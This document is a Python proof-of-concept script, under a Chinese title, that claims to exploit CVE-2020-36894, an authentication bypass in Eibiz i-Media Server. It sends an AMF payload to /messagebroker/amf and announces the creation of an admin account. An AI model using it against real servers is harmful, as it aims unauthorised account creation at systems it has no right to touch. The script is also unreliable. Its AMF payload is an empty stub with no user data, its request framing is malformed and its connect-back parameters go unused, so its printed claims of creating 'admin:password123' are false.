CVE-2020-36894 Eibiz i-Media Server 身份验证绕过漏洞

#!/usr/bin/env python3 """ CVE-2020-36894 PoC - Eibiz i-Media Server Authentication Bypass This exploit creates an admin user by manipulating AMF serialized objects. """ import struct import socket import sys def create_amf_message(): """ Create AMF message to create admin user """ # AMF Message Header amf_data = bytearray() # Message type for AMF0 or AMF3 amf_data.append(0x00) # AMF0 encoding # Target URI (Flex messaging destination) target = "" # Flex destination amf_data.extend(struct.pack('>H', len(target))) amf_data.extend(target.encode('utf-8')) # Response URI response = "" # Response handler amf_data.extend(struct.pack('>H', len(response))) amf_data.extend(response.encode('utf-8')) # AMF Data - Array with user creation parameters # This is a simplified representation amf_data.append(0x11) # AMF3 array type return bytes(amf_data) def send_exploit(target_host, target_port, lhost, lport): """ Send exploit payload to target server """ print(f"[*] Targeting {target_host}:{target_port}") print(f"[*] Creating admin user with credentials: admin:password123") # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) try: sock.connect((target_host, target_port)) print("[+] Connected to target server") # Send HTTP POST request with AMF payload amf_payload = create_amf_message() http_request = f"POST /messagebroker/amf HTTP/1.1\r\n" http_request += f"Host: {target_host}:{target_port}\r\n" http_request += "Content-Type: application/x-amf\r\n" http_request += f"Content-Length: {len(amf_payload)}\r\n" http_request += "\r\n\r\n" sock.sendall(http_request.encode() + amf_payload) print("[+] Exploit payload sent") # Receive response response = sock.recv(4096) print(f"[+] Received response: {response[:200]}") return True except Exception as e: print(f"[-] Error: {str(e)}") return False finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 cve-2020-36894.py <target_ip> <target_port>") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) send_exploit(target, port, "127.0.0.1", 4444)